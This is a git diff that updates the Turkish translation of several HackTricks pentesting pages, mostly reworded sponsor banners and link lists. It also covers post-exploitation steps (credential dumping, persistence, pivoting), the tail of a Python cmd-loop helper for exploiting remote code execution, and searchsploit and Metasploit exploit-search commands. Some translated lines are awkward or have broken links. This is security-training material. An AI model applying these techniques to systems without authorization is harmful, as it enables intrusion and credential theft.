etmelisiniz: -- [**Kimlik Doğrulama, Kimlik Bilgileri, Token ayrıcalıkları ve UAC**](../windows-hardening/authentication-credentials-uac-and-efs.md) -- [**NTLM'nin nasıl çalıştığı**](../windows-hardening/ntlm/) -- Windows'ta [**kimlik bilgilerini çalma**](broken-reference/) -- [_**Active Directory**_](../windows-hardening/active-directory-methodology/) hakkında bazı ipuçları +* [**Kimlik Doğrulama, Kimlik Bilgileri, Token yetkileri ve UAC**](../windows-hardening/authentication-credentials-uac-and-efs.md) +* [**NTLM'nin nasıl çalıştığı**](../windows-hardening/ntlm/) +* Windows'ta nasıl [**kimlik bilgileri çalınır**](broken-reference/) +* [_**Active Directory**_](../windows-hardening/active-directory-methodology/) hakkında bazı ipuçları -**Windows ve Linux yerel Ayrıcalık Yükseltme yollarını sıralamak için en iyi araçları kontrol etmeyi unutmayın:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) +**Windows ve Linux yerel Yetki Yükseltme yollarını sıralamak için en iyi araçları kontrol etmeyi unutmayın:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) -#### **10.2- Alan Ayrıcalığı Yükseltme** +#### **10.2- Alan Yetki Yükseltme** -Burada, [**Bir Active Directory'de ayrıcalıkları sıralamak, yükseltmek ve kalıcı olmak için en yaygın eylemleri açıklayan bir metodoloji bulabilirsiniz**](../windows-hardening/active-directory-methodology/). Bu, yalnızca bir bölümün alt bölümü olsa da, bu süreç bir Pentesting/Red Team görevinde **son derece hassas** olabilir. +Burada [**Bir Active Directory'de numaralandırmak, yetkileri yükseltmek ve kalıcı olmak için en yaygın eylemleri açıklayan bir metodoloji bulabilirsiniz.**](../windows-hardening/active-directory-methodology/) Bu, yalnızca bir bölümün alt bölümü olsa da, bu süreç bir Pentesting/Red Team görevinde **son derece hassas** olabilir. ### 11 - POST #### **11.1 - Yağmalama** -Makinenin içinde daha fazla **şifre** bulup bulamayacağınızı kontrol edin veya **kullanıcı**nızın **yetkileriyle diğer makinelerde erişiminiz olup olmadığını** kontrol edin.\ -Windows'ta [**şifreleri dökmenin farklı yollarını burada bulabilirsiniz**](broken-reference/). +Makinenin içinde daha fazla **şifre** bulabilir misiniz veya **kullanıcı**nızın **yetkileriyle diğer makinelerde erişiminiz var mı** kontrol edin.\ +Windows'ta [**şifreleri nasıl döküleceğine**](broken-reference/) dair farklı yolları burada bulabilirsiniz. #### 11.2 - Kalıcılık **Sistemi tekrar sömürmek zorunda kalmamak için 2 veya 3 farklı türde kalıcılık mekanizması kullanın.**\ -**Burada, Active Directory üzerindeki bazı** [**kalıcılık hilelerini bulabilirsiniz**](../windows-hardening/active-directory-methodology/#persistence)**.** +**Burada** [**Active Directory'de kalıcılık hileleri bulabilirsiniz**](../windows-hardening/active-directory-methodology/#persistence)**.** TODO: Windows ve Linux'ta Kalıcılık Post'unu tamamlayın @@ -128,28 +128,28 @@ TODO: Windows ve Linux'ta Kalıcılık Post'unu tamamlayın **Toplanan kimlik bilgileriyle** diğer makinelerde erişiminiz olabilir veya belki de kurbanınızın bağlı olduğu yeni ağlarda **yeni ana bilgisayarları keşfetmeniz gerekebilir** (Pentesting Metodolojisine tekrar başlayın).\ Bu durumda tünelleme gerekebilir. [**Tünelleme hakkında konuşan bir yazıyı burada bulabilirsiniz**](tunneling-and-port-forwarding.md).\ -Kesinlikle [Active Directory pentesting Metodolojisi](../windows-hardening/active-directory-methodology/) hakkındaki yazıyı da kontrol etmelisiniz. Orada yan yana hareket etmek, ayrıcalıkları yükseltmek ve kimlik bilgilerini dökmek için harika hileler bulacaksınız.\ +Kesinlikle [Active Directory pentesting Metodolojisi](../windows-hardening/active-directory-methodology/) hakkındaki yazıyı da kontrol etmelisiniz. Orada yan yana hareket etmek, yetkileri yükseltmek ve kimlik bilgileri dökmek için harika hileler bulacaksınız.\ Ayrıca [**NTLM**](../windows-hardening/ntlm/) hakkındaki sayfayı da kontrol edin, Windows ortamlarında dönüş yapmak için çok faydalı olabilir. ### DAHA FAZLA #### [Android Uygulamaları](../mobile-pentesting/android-app-pentesting/) -#### **Sömürü** +#### **Sömürme** -- [**Temel Linux Sömürüsü**](../exploiting/linux-exploiting-basic-esp/) -- [**Temel Windows Sömürüsü**](../exploiting/windows-exploiting-basic-guide-oscp-lvl.md) -- [**Temel sömürü araçları**](../exploiting/tools/) +* [**Temel Linux Sömürme**](../exploiting/linux-exploiting-basic-esp/) +* [**Temel Windows Sömürme**](../exploiting/windows-exploiting-basic-guide-oscp-lvl.md) +* [**Temel sömürme araçları**](../exploiting/tools/) #### [**Temel Python**](python/) #### **Kripto hileleri** -- [**ECB**](../cryptography/electronic-code-book-ecb.md) -- [**CBC-MAC**](../cryptography/cipher-block-chaining-cbc-mac-priv.md) -- [**Padding Oracle**](../cryptography/padding-oracle-priv.md) +* [**ECB**](../cryptography/electronic-code-book-ecb.md) +* [**CBC-MAC**](../cryptography/cipher-block-chaining-cbc-mac-priv.md) +* [**Padding Oracle**](../cryptography/padding-oracle-priv.md) -
+
Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde yazılı ve konuşulan Lehçe gereklidir_). @@ -161,10 +161,10 @@ Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek HackTricks'ı desteklemenin diğer yolları: -- **Şirketinizi HackTricks'te reklam görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! -- [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -- [**The PEASS Family'yi keşfedin**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin -- 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** -- **Hacking hilelerinizi göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek destekleyin. +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin +* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking hilelerinizi göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar gönderin. diff --git a/generic-methodologies-and-resources/python/README.md b/generic-methodologies-and-resources/python/README.md index 2072f59ae..0fc332801 100644 --- a/generic-methodologies-and-resources/python/README.md +++ b/generic-methodologies-and-resources/python/README.md @@ -1,53 +1,53 @@ -# Python Sandbox Escape & Pyscript +# Python Sandbox Kaçışı ve Pyscript
-AWS hacklemeyi sıfırdan kahraman olmak için htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile öğrenin! +Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! HackTricks'ı desteklemenin diğer yolları: -* Şirketinizi HackTricks'te **reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin. -* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin. -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'de takip edin. -* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**. +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin +* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** +* **Hacking püf noktalarınızı göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
-
+
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} **Kontrol etmek için ilginç sayfalar:** -* [**Pyscript hackleme hileleri**](pyscript.md) -* [**Python deserializasyonları**](../../pentesting-web/deserialization/#python) -* [**Python sandbox'ları atlatma hileleri**](bypass-python-sandboxes/) +* [**Pyscript hackleme püf noktaları**](pyscript.md) +* [**Python serileştirmeleri**](../../pentesting-web/deserialization/#python) +* [**Python sandbox'ları atlatma püf noktaları**](bypass-python-sandboxes/) * [**Temel python web istekleri sözdizimi**](web-requests.md) * [**Temel python sözdizimi ve kütüphaneleri**](basic-python.md) -
+
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-AWS hacklemeyi sıfırdan kahraman olmak için htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile öğrenin! +Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! HackTricks'ı desteklemenin diğer yolları: -* Şirketinizi HackTricks'te **reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin. -* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin. -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'de takip edin. -* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**. +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin +* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** +* **Hacking püf noktalarınızı göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
diff --git a/generic-methodologies-and-resources/python/venv.md b/generic-methodologies-and-resources/python/venv.md index a8ac913f4..6380fd869 100644 --- a/generic-methodologies-and-resources/python/venv.md +++ b/generic-methodologies-and-resources/python/venv.md @@ -2,22 +2,22 @@
-AWS hackleme becerilerinizi sıfırdan ileri seviyeye taşıyın htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile! +AWS hackleme konusunda sıfırdan kahramana kadar öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'ı **takip edin**. -* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**. +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın! +* [**Resmi PEASS & HackTricks ürünlerine**](https://peass.creator-spring.com) göz atın +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
\ -Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen ve **iş akışlarını otomatikleştiren** kolayca oluşturun.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -39,24 +39,24 @@ is fixed running pip3 install wheel inside the virtual environment ``` -
+
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ +[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve yönetin.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hackleme öğrenin! +Sıfırdan kahramana kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! -HackTricks'i desteklemenin diğer yolları: +HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklam vermek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'ler**](https://opensea.io/collection/the-peass-family) -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'ı takip edin**. -* Hacking hilelerinizi [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek paylaşın. +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'ı takip edin.** +* **Hacking püf noktalarınızı göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR'lar gönderin.
diff --git a/generic-methodologies-and-resources/python/web-requests.md b/generic-methodologies-and-resources/python/web-requests.md index 134de3ec6..c9c328724 100644 --- a/generic-methodologies-and-resources/python/web-requests.md +++ b/generic-methodologies-and-resources/python/web-requests.md @@ -2,22 +2,22 @@
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin! +Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile -HackTricks'i desteklemenin diğer yolları: +HackTricks'ı desteklemenin diğer yolları: -* Şirketinizi HackTricks'te **reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'da **takip edin**. -* Hacking hilelerinizi **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek paylaşın. +* [**The PEASS Ailesi**]'ni(https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'ler**]'imizi(https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
\ -Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturmak ve otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)'i kullanın.\ +[**Trickest**]'i(https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen ve **iş akışlarını otomatikleştiren** kolayca oluşturun.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -90,25 +90,7 @@ return resp.json() def get_random_string(guid, path): return ''.join(random.choice(string.ascii_letters) for i in range(10)) ``` -## RCE'yi sömürmek için Python cmd - -Bu yöntem, Uzaktan Kod Çalıştırma (RCE) zafiyetlerini sömürmek için Python'un cmd modülünü kullanır. Bu modül, komut satırı arayüzü sağlar ve hedef sistemde komutları çalıştırmak için kullanılabilir. - -```python -import os - -def execute_command(command): - result = os.popen(command).read() - return result - -command = input("Komutu girin: ") -output = execute_command(command) -print(output) -``` - -Bu kod, kullanıcıdan bir komut girmesini ister ve ardından `os.popen()` fonksiyonunu kullanarak bu komutu hedef sistemde çalıştırır. Sonuç, `print()` fonksiyonuyla ekrana yazdırılır. - -Bu kodu kullanarak, hedef sistemde RCE zafiyetlerini sömürebilir ve komutları hedef sistemde çalıştırabilirsiniz. Ancak, bu tür bir saldırıyı gerçekleştirmeden önce yasal izinleri almanız ve yasal sınırlar içinde kalmanız önemlidir. +## Bir Uzaktan Kod Çalıştırma (RCE) açığından yararlanmak için Python komutu ```python import requests import re @@ -135,24 +117,24 @@ return 1 term = Terminal() term.cmdloop() ``` -
+
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.\ +[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin! +Sıfırdan kahramana kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! -HackTricks'i desteklemenin diğer yolları: +HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklam vermek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimizi**](https://opensea.io/collection/the-peass-family) görün -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'ı takip edin.** -* Hacking hilelerinizi [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın. +* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** takip edin.** +* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar gönderin.
diff --git a/generic-methodologies-and-resources/search-exploits.md b/generic-methodologies-and-resources/search-exploits.md index 8395f4edf..ba9821ed8 100644 --- a/generic-methodologies-and-resources/search-exploits.md +++ b/generic-methodologies-and-resources/search-exploits.md @@ -1,23 +1,23 @@ -# Exploit Araştırması +# Exploit Ara
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin! +Sıfırdan kahramana kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)! -HackTricks'i desteklemenin diğer yolları: +HackTricks'ı desteklemenin diğer yolları: -* Şirketinizi HackTricks'te **reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da** takip edin. -* Hacking hilelerinizi **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek paylaşın. +* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**] (https://opensea.io/collection/the-peass-family) koleksiyonumuzu +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
\ -Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturmak ve otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)'i kullanın.\ +[**Trickest**]'i kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -26,11 +26,11 @@ Bugün Erişim Alın: Her zaman "google" veya diğerlerinde arama yapın: **\ \[sürüm] exploit** -Ayrıca [https://exploits.shodan.io/](https://exploits.shodan.io) adresindeki **shodan exploit aramasını** denemelisiniz. +Ayrıca [https://exploits.shodan.io/](https://exploits.shodan.io) adresinden **shodan** **exploit aramasını** denemelisiniz. ### Searchsploit -**Konsoldan exploitdb'deki hizmetler için exploit aramak** için kullanışlıdır. +**Exploitdb'deki hizmetler için exploit aramak için konsoldan yararlıdır.** ```bash #Searchsploit tricks searchsploit "linux Kernel" #Example @@ -42,7 +42,7 @@ searchsploit --nmap file.xml #Search vulns inside an nmap xml result ``` ### Pompem -[https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem), exploit aramak için başka bir araçtır. +[https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem) başka bir araçtır exploits aramak için ### MSF-Search ```bash @@ -50,7 +50,7 @@ msf> search platform:windows port:135 target:XP type:exploit ``` ### PacketStorm -Eğer bir şey bulunamazsa, [https://packetstormsecurity.com/](https://packetstormsecurity.com) adresinde kullanılan teknolojiyi aramayı deneyin. +Eğer hiçbir şey bulamazsanız, kullanılan teknolojiyi [https://packetstormsecurity.com/](https://packetstormsecurity.com) içinde aramayı deneyin. ### Vulners @@ -58,26 +58,26 @@ Ayrıca vulners veritabanında arama yapabilirsiniz: [https://vulners.com/](http ### Sploitus -Bu, diğer veritabanlarında exploit arar: [https://sploitus.com/](https://sploitus.com) +Bu diğer veritabanlarında exploit arar: [https://sploitus.com/](https://sploitus.com) -
+
